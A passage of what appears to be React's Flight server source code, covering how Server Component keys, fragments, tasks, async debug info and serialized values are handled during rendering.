element's key on the Server Component on the keyPath context..\n  const prevKeyPath = task.keyPath;\n  const prevImplicitSlot = task.implicitSlot;\n  if (key !== null) {\n    // Append the key to the path. Technically a null key should really add the child\n    // index. We don't do that to hold the payload small and implementation simple.\n    if (key === REACT_OPTIMISTIC_KEY || prevKeyPath === REACT_OPTIMISTIC_KEY) {\n      // The optimistic key is viral. It turns the whole key into optimistic if any part is.\n      task.keyPath = REACT_OPTIMISTIC_KEY;\n    } else {\n      task.keyPath = prevKeyPath === null ? key : prevKeyPath + ',' + key;\n    }\n  } else if (prevKeyPath === null) {\n    // This sequence of Server Components has no keys. This means that it was rendered\n    // in a slot that needs to assign an implicit key. Even if children below have\n    // explicit keys, they should not be used for the outer most key since it might\n    // collide with other slots in that set.\n    task.implicitSlot = true;\n  }\n  const json = renderModelDestructive(request, task, emptyRoot, '', result);\n  task.keyPath = prevKeyPath;\n  task.implicitSlot = prevImplicitSlot;\n  return json;\n}\n\nfunction warnForMissingKey(\n  request: Request,\n  key: ReactKey,\n  componentDebugInfo: ReactComponentInfo,\n  debugTask: null | ConsoleTask,\n): void {\n  if (__DEV__) {\n    let didWarnForKey = request.didWarnForKey;\n    if (didWarnForKey == null) {\n      didWarnForKey = request.didWarnForKey = new WeakSet();\n    }\n    const parentOwner = componentDebugInfo.owner;\n    if (parentOwner != null) {\n      if (didWarnForKey.has(parentOwner)) {\n        // We already warned for other children in this parent.\n        return;\n      }\n      didWarnForKey.add(parentOwner);\n    }\n\n    // Call with the server component as the currently rendering component\n    // for context.\n    const logKeyError = () => {\n      console.error(\n        'Each child in a list should have a unique \"key\" prop.' +\n          '%s%s See https://react.dev/link/warning-keys for more information.',\n        '',\n        '',\n      );\n    };\n\n    if (supportsComponentStorage) {\n      // Run the component in an Async Context that tracks the current owner.\n      if (debugTask) {\n        debugTask.run(\n          // $FlowFixMe[method-unbinding]\n          componentStorage.run.bind(\n            componentStorage,\n            componentDebugInfo,\n            callComponentInDEV,\n            logKeyError,\n            null,\n            componentDebugInfo,\n          ),\n        );\n      } else {\n        componentStorage.run(\n          componentDebugInfo,\n          callComponentInDEV,\n          logKeyError,\n          null,\n          componentDebugInfo,\n        );\n      }\n    } else {\n      if (debugTask) {\n        debugTask.run(\n          callComponentInDEV.bind(null, logKeyError, null, componentDebugInfo),\n        );\n      } else {\n        callComponentInDEV(logKeyError, null, componentDebugInfo);\n      }\n    }\n  }\n}\n\nfunction renderFragment(\n  request: Request,\n  task: Task,\n  children: $ReadOnlyArray<ReactClientValue>,\n): ReactJSONValue {\n  if (__DEV__) {\n    for (let i = 0; i < children.length; i++) {\n      const child = children[i];\n      if (\n        child !== null &&\n        typeof child === 'object' &&\n        child.$$typeof === REACT_ELEMENT_TYPE\n      ) {\n        const element: ReactElement = (child: any);\n        if (element.key === null && !element._store.validated) {\n          element._store.validated = 2;\n        }\n      }\n    }\n  }\n\n  if (task.keyPath !== null) {\n    // We have a Server Component that specifies a key but we're now splitting\n    // the tree using a fragment.\n    const fragment = __DEV__\n      ? [\n          REACT_ELEMENT_TYPE,\n          REACT_FRAGMENT_TYPE,\n          task.keyPath,\n          {children},\n          null,\n          null,\n          0,\n        ]\n      : [REACT_ELEMENT_TYPE, REACT_FRAGMENT_TYPE, task.keyPath, {children}];\n    if (!task.implicitSlot) {\n      // If this was keyed inside a set. I.e. the outer Server Component was keyed\n      // then we need to handle reorders of the whole set. To do this we need to wrap\n      // this array in a keyed Fragment.\n      return fragment;\n    }\n    // If the outer Server Component was implicit but then an inner one had a key\n    // we don't actually need to be able to move the whole set around. It'll always be\n    // in an implicit slot. The key only exists to be able to reset the state of the\n    // children. We could achieve the same effect by passing on the keyPath to the next\n    // set of components inside the fragment. This would also allow a keyless fragment\n    // reconcile against a single child.\n    // Unfortunately because of JSON.stringify, we can't call the recursive loop for\n    // each child within this context because we can't return a set with already resolved\n    // values. E.g. a string would get double encoded. Returning would pop the context.\n    // So instead, we wrap it with an unkeyed fragment and inner keyed fragment.\n    return [fragment];\n  }\n  // Since we're yielding here, that implicitly resets the keyPath context on the\n  // way up. Which is what we want since we've consumed it. If this changes to\n  // be recursive serialization, we need to reset the keyPath and implicitSlot,\n  // before recursing here.\n  if (__DEV__) {\n    const debugInfo: ?ReactDebugInfo = (children: any)._debugInfo;\n    if (debugInfo) {\n      // If this came from Flight, forward any debug info into this new row.\n      if (!canEmitDebugInfo) {\n        // We don't have a chunk to assign debug info. We need to outline this\n        // component to assign it an ID.\n        return outlineTask(request, task);\n      } else {\n        // Forward any debug info we have the first time we see it.\n        // We do this after init so that we have received all the debug info\n        // from the server by the time we emit it.\n        forwardDebugInfo(request, task, debugInfo);\n      }\n      // Since we're rendering this array again, create a copy that doesn't\n      // have the debug info so we avoid outlining or emitting debug info again.\n      children = Array.from(children);\n    }\n  }\n  return children;\n}\n\nfunction renderAsyncFragment(\n  request: Request,\n  task: Task,\n  children: $AsyncIterable<ReactClientValue, ReactClientValue, void>,\n  getAsyncIterator: () => $AsyncIterator<any, any, any>,\n): ReactJSONValue {\n  if (task.keyPath !== null) {\n    // We have a Server Component that specifies a key but we're now splitting\n    // the tree using a fragment.\n    const fragment = __DEV__\n      ? [\n          REACT_ELEMENT_TYPE,\n          REACT_FRAGMENT_TYPE,\n          task.keyPath,\n          {children},\n          null,\n          null,\n          0,\n        ]\n      : [REACT_ELEMENT_TYPE, REACT_FRAGMENT_TYPE, task.keyPath, {children}];\n    if (!task.implicitSlot) {\n      // If this was keyed inside a set. I.e. the outer Server Component was keyed\n      // then we need to handle reorders of the whole set. To do this we need to wrap\n      // this array in a keyed Fragment.\n      return fragment;\n    }\n    // If the outer Server Component was implicit but then an inner one had a key\n    // we don't actually need to be able to move the whole set around. It'll always be\n    // in an implicit slot. The key only exists to be able to reset the state of the\n    // children. We could achieve the same effect by passing on the keyPath to the next\n    // set of components inside the fragment. This would also allow a keyless fragment\n    // reconcile against a single child.\n    // Unfortunately because of JSON.stringify, we can't call the recursive loop for\n    // each child within this context because we can't return a set with already resolved\n    // values. E.g. a string would get double encoded. Returning would pop the context.\n    // So instead, we wrap it with an unkeyed fragment and inner keyed fragment.\n    return [fragment];\n  }\n\n  // Since we're yielding here, that implicitly resets the keyPath context on the\n  // way up. Which is what we want since we've consumed it. If this changes to\n  // be recursive serialization, we need to reset the keyPath and implicitSlot,\n  // before recursing here.\n  const asyncIterator = getAsyncIterator.call(children);\n  return serializeAsyncIterable(request, task, children, asyncIterator);\n}\n\nfunction renderClientElement(\n  request: Request,\n  task: Task,\n  type: any,\n  key: ReactKey,\n  props: any,\n  validated: number, // DEV-only\n): ReactJSONValue {\n  // We prepend the terminal client element that actually gets serialized with\n  // the keys of any Server Components which are not serialized.\n  const keyPath = task.keyPath;\n  if (key === null) {\n    key = keyPath;\n  } else if (keyPath !== null) {\n    if (keyPath === REACT_OPTIMISTIC_KEY || key === REACT_OPTIMISTIC_KEY) {\n      // Optimistic key is viral and turns the whole key optimistic.\n      key = REACT_OPTIMISTIC_KEY;\n    } else {\n      key = keyPath + ',' + key;\n    }\n  }\n  let debugOwner = null;\n  let debugStack = null;\n  if (__DEV__) {\n    debugOwner = task.debugOwner;\n    if (debugOwner !== null) {\n      // Ensure we outline this owner if it is the first time we see it.\n      // So that we can refer to it directly.\n      outlineComponentInfo(request, debugOwner);\n    }\n    if (task.debugStack !== null) {\n      // Outline the debug stack so that we write to the completedDebugChunks instead.\n      debugStack = filterStackTrace(\n        request,\n        parseStackTrace(task.debugStack, 1),\n      );\n      const id = outlineDebugModel(\n        request,\n        {objectLimit: debugStack.length * 2 + 1},\n        debugStack,\n      );\n      // We also store this in the main dedupe set so that it can be referenced by inline React Elements.\n      request.writtenObjects.set(debugStack, serializeByValueID(id));\n    }\n  }\n  const element = __DEV__\n    ? [REACT_ELEMENT_TYPE, type, key, props, debugOwner, debugStack, validated]\n    : [REACT_ELEMENT_TYPE, type, key, props];\n  if (task.implicitSlot && key !== null) {\n    // The root Server Component had no key so it was in an implicit slot.\n    // If we had a key lower, it would end up in that slot with an explicit key.\n    // We wrap the element in a fragment to give it an implicit key slot with\n    // an inner explicit key.\n    return [element];\n  }\n  // Since we're yielding here, that implicitly resets the keyPath context on the\n  // way up. Which is what we want since we've consumed it. If this changes to\n  // be recursive serialization, we need to reset the keyPath and implicitSlot,\n  // before recursing here. We also need to reset it once we render into an array\n  // or anything else too which we also get implicitly.\n  return element;\n}\n\n// Determines if we're currently rendering at the top level of a task and therefore\n// is safe to emit debug info associated with that task. Otherwise, if we're in\n// a nested context, we need to first outline.\nlet canEmitDebugInfo: boolean = false;\n\n// Approximate string length of the currently serializing row.\n// Used to power outlining heuristics.\nlet serializedSize = 0;\nconst MAX_ROW_SIZE = 3200;\n\nfunction deferTask(request: Request, task: Task): ReactJSONValue {\n  // Like outlineTask but instead the item is scheduled to be serialized\n  // after its parent in the stream.\n  const newTask = createTask(\n    request,\n    task.model, // the currently rendering element\n    task.keyPath, // unlike outlineModel this one carries along context\n    task.implicitSlot,\n    task.formatContext,\n    request.abortableTasks,\n    enableProfilerTimer &&\n      (enableComponentPerformanceTrack || enableAsyncDebugInfo)\n      ? task.time\n      : 0,\n    __DEV__ ? task.debugOwner : null,\n    __DEV__ ? task.debugStack : null,\n    __DEV__ ? task.debugTask : null,\n  );\n\n  pingTask(request, newTask);\n  return serializeLazyID(newTask.id);\n}\n\nfunction outlineTask(request: Request, task: Task): ReactJSONValue {\n  const newTask = createTask(\n    request,\n    task.model, // the currently rendering element\n    task.keyPath, // unlike outlineModel this one carries along context\n    task.implicitSlot,\n    task.formatContext,\n    request.abortableTasks,\n    enableProfilerTimer &&\n      (enableComponentPerformanceTrack || enableAsyncDebugInfo)\n      ? task.time\n      : 0,\n    __DEV__ ? task.debugOwner : null,\n    __DEV__ ? task.debugStack : null,\n    __DEV__ ? task.debugTask : null,\n  );\n\n  retryTask(request, newTask);\n  if (newTask.status === COMPLETED) {\n    // We completed synchronously so we can refer to this by reference. This\n    // makes it behaves the same as prod during deserialization.\n    return serializeByValueID(newTask.id);\n  }\n  // This didn't complete synchronously so it wouldn't have even if we didn't\n  // outline it, so this would reduce to a lazy reference even in prod.\n  return serializeLazyID(newTask.id);\n}\n\nfunction outlineHaltedTask(\n  request: Request,\n  task: Task,\n  allowLazy: boolean,\n): ReactJSONValue {\n  // In the future if we track task state for resuming we'll maybe need to\n  // construnct an actual task here but since we're never going to retry it\n  // we just claim the id and serialize it according to the proper convention\n  const taskId = request.nextChunkId++;\n  if (allowLazy) {\n    // We're halting in a position that can handle a lazy reference\n    return serializeLazyID(taskId);\n  } else {\n    // We're halting in a position that needs a value reference\n    return serializeByValueID(taskId);\n  }\n}\n\nfunction renderElement(\n  request: Request,\n  task: Task,\n  type: any,\n  key: ReactKey,\n  ref: mixed,\n  props: any,\n  validated: number, // DEV only\n): ReactJSONValue {\n  if (ref !== null && ref !== undefined) {\n    // When the ref moves to the regular props object this will implicitly\n    // throw for functions. We could probably relax it to a DEV warning for other\n    // cases.\n    // TODO: `ref` is now just a prop when `enableRefAsProp` is on. Should we\n    // do what the above comment says?\n    throw new Error(\n      'Refs cannot be used in Server Components, nor passed to Client Components.',\n    );\n  }\n  if (__DEV__) {\n    jsxPropsParents.set(props, type);\n    if (typeof props.children === 'object' && props.children !== null) {\n      jsxChildrenParents.set(props.children, type);\n    }\n  }\n  if (\n    typeof type === 'function' &&\n    !isClientReference(type) &&\n    !isOpaqueTemporaryReference(type)\n  ) {\n    // This is a Server Component.\n    return renderFunctionComponent(request, task, key, type, props, validated);\n  } else if (type === REACT_FRAGMENT_TYPE && key === null) {\n    // For key-less fragments, we add a small optimization to avoid serializing\n    // it as a wrapper.\n    if (__DEV__ && validated === 2) {\n      // Create a fake owner node for the error stack.\n      const componentDebugInfo: ReactComponentInfo = {\n        name: 'Fragment',\n        env: (0, request.environmentName)(),\n        key: key,\n        owner: task.debugOwner,\n        stack:\n          task.debugStack === null\n            ? null\n            : filterStackTrace(request, parseStackTrace(task.debugStack, 1)),\n        props: props,\n        debugStack: task.debugStack,\n        debugTask: task.debugTask,\n      };\n      warnForMissingKey(request, key, componentDebugInfo, task.debugTask);\n    }\n    const prevImplicitSlot = task.implicitSlot;\n    if (task.keyPath === null) {\n      task.implicitSlot = true;\n    }\n    const json = renderModelDestructive(\n      request,\n      task,\n      emptyRoot,\n      '',\n      props.children,\n    );\n    task.implicitSlot = prevImplicitSlot;\n    return json;\n  } else if (\n    type != null &&\n    typeof type === 'object' &&\n    !isClientReference(type)\n  ) {\n    switch (type.$$typeof) {\n      case REACT_LAZY_TYPE: {\n        let wrappedType;\n        if (__DEV__) {\n          wrappedType = callLazyInitInDEV(type);\n        } else {\n          const payload = type._payload;\n          const init = type._init;\n          wrappedType = init(payload);\n        }\n        if (request.status === ABORTING) {\n          // lazy initializers are user code and could abort during render\n          // we don't wan to return any value resolved from the lazy initializer\n          // if it aborts so we interrupt rendering here\n          // eslint-disable-next-line no-throw-literal\n          throw null;\n        }\n        return renderElement(\n          request,\n          task,\n          wrappedType,\n          key,\n          ref,\n          props,\n          validated,\n        );\n      }\n      case REACT_FORWARD_REF_TYPE: {\n        return renderFunctionComponent(\n          request,\n          task,\n          key,\n          type.render,\n          props,\n          validated,\n        );\n      }\n      case REACT_MEMO_TYPE: {\n        return renderElement(\n          request,\n          task,\n          type.type,\n          key,\n          ref,\n          props,\n          validated,\n        );\n      }\n      case REACT_ELEMENT_TYPE: {\n        // This is invalid but we'll let the client determine that it is.\n        if (__DEV__) {\n          // Disable the key warning that would happen otherwise because this\n          // element gets serialized inside an array. We'll error later anyway.\n          type._store.validated = 1;\n        }\n      }\n    }\n  } else if (typeof type === 'string') {\n    const parentFormatContext = task.formatContext;\n    const newFormatContext = getChildFormatContext(\n      parentFormatContext,\n      type,\n      props,\n    );\n    if (parentFormatContext !== newFormatContext && props.children != null) {\n      // We've entered a new context. We need to create another Task which has\n      // the new context set up since it's not safe to push/pop in the middle of\n      // a tree. Additionally this means that any deduping within this tree now\n      // assumes the new context even if it's reused outside in a different context.\n      // We'll rely on this to dedupe the value later as we discover it again\n      // inside the returned element's tree.\n      outlineModelWithFormatContext(request, props.children, newFormatContext);\n    }\n  }\n  // For anything else, try it on the client instead.\n  // We don't know if the client will support it or not. This might error on the\n  // client or error during serialization but the stack will point back to the\n  // server.\n  return renderClientElement(request, task, type, key, props, validated);\n}\n\nfunction visitAsyncNode(\n  request: Request,\n  task: Task,\n  node: AsyncSequence,\n  visited: Map<\n    AsyncSequence | ReactDebugInfo,\n    void | null | PromiseNode | IONode,\n  >,\n  cutOff: number,\n): void | null | PromiseNode | IONode {\n  // Collect the previous chain iteratively instead of recursively to avoid\n  // stack overflow on deep chains. We process from deepest to shallowest so\n  // each node has its previousIONode available.\n  const chain: Array<AsyncSequence> = [];\n  let current: AsyncSequence | null = node;\n\n  while (current !== null) {\n    if (visited.has(current)) {\n      break;\n    }\n    chain.push(current);\n    current = current.previous;\n  }\n\n  let previousIONode: void | null | PromiseNode | IONode =\n    current !== null ? visited.get(current) : null;\n\n  // Process from deepest to shallowest (reverse order).\n  for (let i = chain.length - 1; i >= 0; i--) {\n    const n = chain[i];\n    // Set it as visited early in case we see the node again before returning.\n    visited.set(n, null);\n\n    const result = visitAsyncNodeImpl(\n      request,\n      task,\n      n,\n      visited,\n      cutOff,\n      previousIONode,\n    );\n\n    if (result !== null) {\n      // If we ended up with a value, let's use that value for future visits.\n      visited.set(n, result);\n    }\n\n    if (result === undefined) {\n      // Undefined is used as a signal that we found a suitable aborted node\n      // and we don't have to find further aborted nodes.\n      return undefined;\n    }\n\n    previousIONode = result;\n  }\n\n  return previousIONode;\n}\n\nfunction visitAsyncNodeImpl(\n  request: Request,\n  task: Task,\n  node: AsyncSequence,\n  visited: Map<\n    AsyncSequence | ReactDebugInfo,\n    void | null | PromiseNode | IONode,\n  >,\n  cutOff: number,\n  previousIONode: void | null | PromiseNode | IONode,\n): void | null | PromiseNode | IONode {\n  if (node.end >= 0 && node.end <= request.timeOrigin) {\n    // This was already resolved when we started this render. It must have been either something\n    // that's part of a start up sequence or externally cached data. We exclude that information.\n    // The technique for debugging the effects of uncached data on the render is to simply uncache it.\n    return null;\n  }\n\n  // `found` represents the return value of the following switch statement.\n  // We can't use multiple `return` statements in the switch statement\n  // since that prevents Closure compiler from inlining `visitAsyncImpl`\n  // thus doubling the call stack size.\n  let found: void | null | PromiseNode | IONode;\n  switch (node.tag) {\n    case IO_NODE: {\n      found = node;\n      break;\n    }\n    case UNRESOLVED_PROMISE_NODE: {\n      found = previousIONode;\n      break;\n    }\n    case PROMISE_NODE: {\n      const awaited = node.awaited;\n      let match: void | null | PromiseNode | IONode = previousIONode;\n      const promise = node.promise.deref();\n      if (awaited !== null) {\n        const ioNode = visitAsyncNode(request, task, awaited, visited, cutOff);\n        if (ioNode === undefined) {\n          // Undefined is used as a signal that we found a suitable aborted node and we don't have to find\n          // further aborted nodes.\n          found = undefined;\n          break;\n        } else if (ioNode !== null) {\n          // This Promise was blocked on I/O. That's a signal that this Promise is interesting to log.\n          // We don't log it yet though. We return it to be logged by the point where it's awaited.\n          // The ioNode might be another PromiseNode in the case where none of the AwaitNode had\n          // unfiltered stacks.\n          if (ioNode.tag === PROMISE_NODE) {\n            // If the ioNode was a Promise, then that means we found one in user space since otherwise\n            // we would've returned an IO node. We assume this has the best stack.\n            // Note: This might also be a Promise with a displayName but potentially a worse stack.\n            // We could potentially favor the outer Promise if it has a stack but not the inner.\n            match = ioNode;\n          } else if (\n            (node.stack !== null && hasUnfilteredFrame(request, node.stack)) ||\n            (promise !== undefined &&\n              // $FlowFixMe[prop-missing]\n              typeof promise.displayName === 'string' &&\n              (ioNode.stack === null ||\n                !hasUnfilteredFrame(request, ioNode.stack)))\n          ) {\n            // If this Promise has a stack trace then we favor that over the I/O node since we're\n            // mainly dealing with Promises as the abstraction.\n            // If it has no stack but at least has a displayName and the io doesn't have a better\n            // stack anyway, then also use this Promise instead since at least it has a name.\n            match = node;\n          } else {\n            // If this Promise was created inside only third party code, then try to use\n            // the inner I/O node instead. This could happen if third party calls into first\n            // party to perform some I/O.\n            match = ioNode;\n          }\n        } else if (request.status === ABORTING) {\n          if (node.start < request.abortTime && node.end > request.abortTime) {\n            // We aborted this render. If this Promise spanned the abort time it was probably the\n            // Promise that was aborted. This won't necessarily have I/O associated with it but\n            // it's a point of interest.\n            if (\n              (node.stack !== null &&\n                hasUnfilteredFrame(request, node.stack)) ||\n              (promise !== undefined &&\n                // $FlowFixMe[prop-missing]\n                typeof promise.displayName === 'string')\n            ) {\n              match = node;\n            }\n          }\n        }\n      }\n      // We need to forward after we visit awaited nodes because what ever I/O we requested that's\n      // the thing that generated this node and its virtual children.\n      if (promise !== undefined) {\n        const debugInfo = promise._debugInfo;\n        if (debugInfo != null && !visited.has(debugInfo)) {\n          visited.set(debugInfo, null);\n          forwardDebugInfo(request, task, debugInfo);\n        }\n      }\n      found = match;\n      break;\n    }\n    case UNRESOLVED_AWAIT_NODE: {\n      found = previousIONode;\n      break;\n    }\n    case AWAIT_NODE: {\n      const awaited = node.awaited;\n      let match: void | null | PromiseNode | IONode = previousIONode;\n      if (awaited !== null) {\n        const ioNode = visitAsyncNode(request, task, awaited, visited, cutOff);\n        if (ioNode === undefined) {\n          // Undefined is used as a signal that we found a suitable aborted node and we don't have to find\n          // further aborted nodes.\n          found = undefined;\n          break;\n        } else if (ioNode !== null) {\n          const startTime: number = node.start;\n          const endTime: number = node.end;\n          if (startTime < cutOff) {\n            // We started awaiting this node before we started rendering this sequence.\n            // This means that this particular await was never part of the current sequence.\n            // If we have another await higher up in the chain it might have a more actionable stack\n            // from the perspective of this component. If we end up here from the \"previous\" path,\n            // then this gets I/O ignored, which is what we want because it means it was likely\n            // just part of a previous component's rendering.\n            match = ioNode;\n            if (\n              node.stack !== null &&\n              isAwaitInUserspace(request, node.stack)\n            ) {\n              // This await happened earlier but it was done in user space. This is the first time\n              // that user space saw the value of the I/O. We know we'll emit the I/O eventually\n              // but if we do it now we can override the promise value of the I/O entry to the\n              // one observed by this await which will be a better value than the internals of\n              // the I/O entry. If it's still alive that is.\n              const promise =\n                awaited.promise === null ? undefined : awaited.promise.deref();\n              if (promise !== undefined) {\n                serializeIONode(request, ioNode, awaited.promise);\n              }\n            }\n          } else {\n            if (\n              node.stack === null ||\n              !isAwaitInUserspace(request, node.stack)\n            ) {\n              // If this await was fully filtered out, then it was inside third party code\n              // such as in an external library. We return the I/O node and try another await.\n              match = ioNode;\n            } else if (\n              request.status === ABORTING &&\n              startTime > request.abortTime\n            ) {\n              // This was awaited after aborting so we skip it.\n            } else {\n              // We found a user space await.\n\n              // Outline the IO node.\n              // The ioNode is where the I/O was initiated, but after that it could have been\n              // processed through various awaits in the internals of the third party code.\n              // Therefore we don't use the inner most Promise as the conceptual value but the\n              // Promise that was ultimately awaited by the user space await.\n              serializeIONode(request, ioNode, awaited.promise);\n\n              // If we ever visit this I/O node again, skip it because we already emitted this\n              // exact entry and we don't need two awaits on the same thing.\n              visited.set(ioNode, null);\n\n              // Ensure the owner is already outlined.\n              if (node.owner != null) {\n                outlineComponentInfo(request, node.owner);\n              }\n\n              // We log the environment at the time when the last promise pigned ping which may\n              // be later than what the environment was when we actually started awaiting.\n              const env = (0, request.environmentName)();\n              advanceTaskTime(request, task, startTime);\n              // Then emit a reference to us awaiting it in the current task.\n              request.pendingChunks++;\n              emitDebugChunk(request, task.id, {\n                awaited: ((ioNode: any): ReactIOInfo), // This is deduped by this reference.\n                env: env,\n                owner: node.owner,\n                stack:\n                  node.stack === null\n                    ? null\n                    : filterStackTrace(request, node.stack),\n              });\n              // Mark the end time of the await. If we're aborting then we don't emit this\n              // to signal that this never resolved inside this render.\n              markOperationEndTime(request, task, endTime);\n              if (request.status === ABORTING) {\n                // Undefined is used as a signal that we found a suitable aborted node and we don't have to find\n                // further aborted nodes.\n                match = undefined;\n              }\n            }\n          }\n        }\n      }\n      // We need to forward after we visit awaited nodes because what ever I/O we requested that's\n      // the thing that generated this node and its virtual children.\n      const promise = node.promise.deref();\n      if (promise !== undefined) {\n        const debugInfo = promise._debugInfo;\n        if (debugInfo != null && !visited.has(debugInfo)) {\n          visited.set(debugInfo, null);\n          forwardDebugInfo(request, task, debugInfo);\n        }\n      }\n      found = match;\n      break;\n    }\n    default: {\n      // eslint-disable-next-line react-internal/prod-error-codes\n      throw new Error('Unknown AsyncSequence tag. This is a bug in React.');\n    }\n  }\n  return found;\n}\n\nfunction emitAsyncSequence(\n  request: Request,\n  task: Task,\n  node: AsyncSequence,\n  alreadyForwardedDebugInfo: ?ReactDebugInfo,\n  owner: null | ReactComponentInfo,\n  stack: null | Error,\n): void {\n  const visited: Map<\n    AsyncSequence | ReactDebugInfo,\n    void | null | PromiseNode | IONode,\n  > = new Map();\n  if (__DEV__ && alreadyForwardedDebugInfo) {\n    visited.set(alreadyForwardedDebugInfo, null);\n  }\n  const awaitedNode = visitAsyncNode(request, task, node, visited, task.time);\n  if (awaitedNode === undefined) {\n    // Undefined is used as a signal that we found an aborted await and that's good enough\n    // anything derived from that aborted node might be irrelevant.\n  } else if (awaitedNode !== null) {\n    // Nothing in user space (unfiltered stack) awaited this.\n    serializeIONode(request, awaitedNode, awaitedNode.promise);\n    request.pendingChunks++;\n    // We log the environment at the time when we ping which may be later than what the\n    // environment was when we actually started awaiting.\n    const env = (0, request.environmentName)();\n    // If we don't have any thing awaited, the time we started awaiting was internal\n    // when we yielded after rendering. The current task time is basically that.\n    const debugInfo: ReactAsyncInfo = {\n      awaited: ((awaitedNode: any): ReactIOInfo), // This is deduped by this reference.\n      env: env,\n    };\n    if (__DEV__) {\n      if (owner === null && stack === null) {\n        // We have no location for the await. We can use the JSX callsite of the parent\n        // as the await if this was just passed as a prop.\n        if (task.debugOwner !== null) {\n          // $FlowFixMe[cannot-write]\n          debugInfo.owner = task.debugOwner;\n        }\n        if (task.debugStack !== null) {\n          // $FlowFixMe[cannot-write]\n          debugInfo.stack = filterStackTrace(\n            request,\n            parseStackTrace(task.debugStack, 1),\n          );\n        }\n      } else {\n        if (owner != null) {\n          // $FlowFixMe[cannot-write]\n          debugInfo.owner = owner;\n        }\n        if (stack != null) {\n          // $FlowFixMe[cannot-write]\n          debugInfo.stack = filterStackTrace(\n            request,\n            parseStackTrace(stack, 1),\n          );\n        }\n      }\n    }\n    // We don't have a start time for this await but in case there was no start time emitted\n    // we need to include something. TODO: We should maybe ideally track the time when we\n    // called .then() but without updating the task.time field since that's used for the cutoff.\n    advanceTaskTime(request, task, task.time);\n    emitDebugChunk(request, task.id, debugInfo);\n    // Mark the end time of the await. If we're aborting then we don't emit this\n    // to signal that this never resolved inside this render.\n    // If we're currently aborting, then this never resolved into user space.\n    markOperationEndTime(request, task, awaitedNode.end);\n  }\n}\n\nfunction pingTask(request: Request, task: Task): void {\n  if (\n    enableProfilerTimer &&\n    (enableComponentPerformanceTrack || enableAsyncDebugInfo)\n  ) {\n    // If this was async we need to emit the time when it completes.\n    task.timed = true;\n  }\n  const pingedTasks = request.pingedTasks;\n  pingedTasks.push(task);\n  if (pingedTasks.length === 1) {\n    request.flushScheduled = request.destination !== null;\n    if (request.type === PRERENDER || request.status === OPENING) {\n      scheduleMicrotask(() => performWork(request));\n    } else {\n      scheduleWork(() => performWork(request));\n    }\n  }\n}\n\nfunction createTask(\n  request: Request,\n  model: ReactClientValue,\n  keyPath: ReactKey,\n  implicitSlot: boolean,\n  formatContext: FormatContext,\n  abortSet: Set<Task>,\n  lastTimestamp: number, // Profiling-only\n  debugOwner: null | ReactComponentInfo, // DEV-only\n  debugStack: null | Error, // DEV-only\n  debugTask: null | ConsoleTask, // DEV-only\n): Task {\n  request.pendingChunks++;\n  const id = request.nextChunkId++;\n  if (typeof model === 'object' && model !== null) {\n    // If we're about to write this into a new task we can assign it an ID early so that\n    // any other references can refer to the value we're about to write.\n    if (keyPath !== null || implicitSlot) {\n      // If we're in some kind of context we can't necessarily reuse this object depending\n      // what parent components are used.\n    } else {\n      request.writtenObjects.set(model, serializeByValueID(id));\n    }\n  }\n  const task: Task = (({\n    id,\n    status: PENDING,\n    model,\n    keyPath,\n    implicitSlot,\n    formatContext: formatContext,\n    ping: () => pingTask(request, task),\n    toJSON: function (\n      this:\n        | {+[key: string | number]: ReactClientValue}\n        | $ReadOnlyArray<ReactClientValue>,\n      parentPropertyName: string,\n      value: ReactClientValue,\n    ): ReactJSONValue {\n      const parent = this;\n      // Make sure that `parent[parentPropertyName]` wasn't JSONified before `value` was passed to us\n      if (__DEV__) {\n        // $FlowFixMe[incompatible-use]\n        const originalValue = parent[parentPropertyName];\n        if (\n          typeof originalValue === 'object' &&\n          originalValue !== value &&\n          !(originalValue instanceof Date)\n        ) {\n          // Call with the server component as the currently rendering component\n          // for context.\n          callWithDebugContextInDEV(request, task, () => {\n            if (objectName(originalValue) !== 'Object') {\n              const jsxParentType = jsxChildrenParents.get(parent);\n              if (typeof jsxParentType === 'string') {\n                console.error(\n                  '%s objects cannot be rendered as text children. Try formatting it using toString().%s',\n                  objectName(originalValue),\n                  describeObjectForErrorMessage(parent, parentPropertyName),\n                );\n              } else {\n                console.error(\n                  'Only plain objects can be passed to Client Components from Server Components. ' +\n                    '%s objects are not supported.%s',\n                  objectName(originalValue),\n                  describeObjectForErrorMessage(parent, parentPropertyName),\n                );\n              }\n            } else {\n              console.error(\n                'Only plain objects can be passed to Client Components from Server Components. ' +\n                  'Objects with toJSON methods are not supported. Convert it manually ' +\n                  'to a simple value before passing it to props.%s',\n                describeObjectForErrorMessage(parent, parentPropertyName),\n              );\n            }\n          });\n        }\n      }\n      return renderModel(request, task, parent, parentPropertyName, value);\n    },\n    thenableState: null,\n  }: Omit<\n    Task,\n    | 'timed'\n    | 'time'\n    | 'environmentName'\n    | 'debugOwner'\n    | 'debugStack'\n    | 'debugTask',\n  >): any);\n  if (\n    enableProfilerTimer &&\n    (enableComponentPerformanceTrack || enableAsyncDebugInfo)\n  ) {\n    task.timed = false;\n    task.time = lastTimestamp;\n  }\n  if (__DEV__) {\n    task.environmentName = request.environmentName();\n    task.debugOwner = debugOwner;\n    task.debugStack = debugStack;\n    task.debugTask = debugTask;\n  }\n  abortSet.add(task);\n  return task;\n}\n\nfunction serializeByValueID(id: number): string {\n  return '$' + id.toString(16);\n}\n\nfunction serializeLazyID(id: number): string {\n  return '$L' + id.toString(16);\n}\n\nfunction serializePromiseID(id: number): string {\n  return '$@' + id.toString(16);\n}\n\nfunction serializeServerReferenceID(id: number): string {\n  return '$h' + id.toString(16);\n}\n\nfunction serializeSymbolReference(name: string): string {\n  return '$S' + name;\n}\n\nfunction serializeDeferredObject(\n  request: Request,\n  value: ReactClientReference | string,\n): string {\n  const deferredDebugObjects = request.deferredDebugObjects;\n  if (deferredDebugObjects !== null) {\n    // This client supports a long lived connection. We can assign this object\n    // an ID to be lazy loaded later.\n    // This keeps the connection alive until we ask for it or release it.\n    request.pendingDebugChunks++;\n    const id = request.nextChunkId++;\n    deferredDebugObjects.existing.set(value, id);\n    deferredDebugObjects.retained.set(id, value);\n    return '$Y' + id.toString(16);\n  }\n  return '$Y';\n}\n\nfunction serializeNumber(number: number): string | number {\n  if (Number.isFinite(number)) {\n    if (number === 0 && 1 / number === -Infinity) {\n      return '$-0';\n    } else {\n      return number;\n    }\n  } else {\n    if (number === Infinity) {\n      return '$Infinity';\n    } else if (number === -Infinity) {\n      return '$-Infinity';\n    } else {\n      return '$NaN';\n    }\n  }\n}\n\nfunction serializeUndefined(): string {\n  return '$undefined';\n}\n\nfunction serializeDate(date: Date): string {\n  // JSON.stringify automatically calls Date.prototype.toJSON which 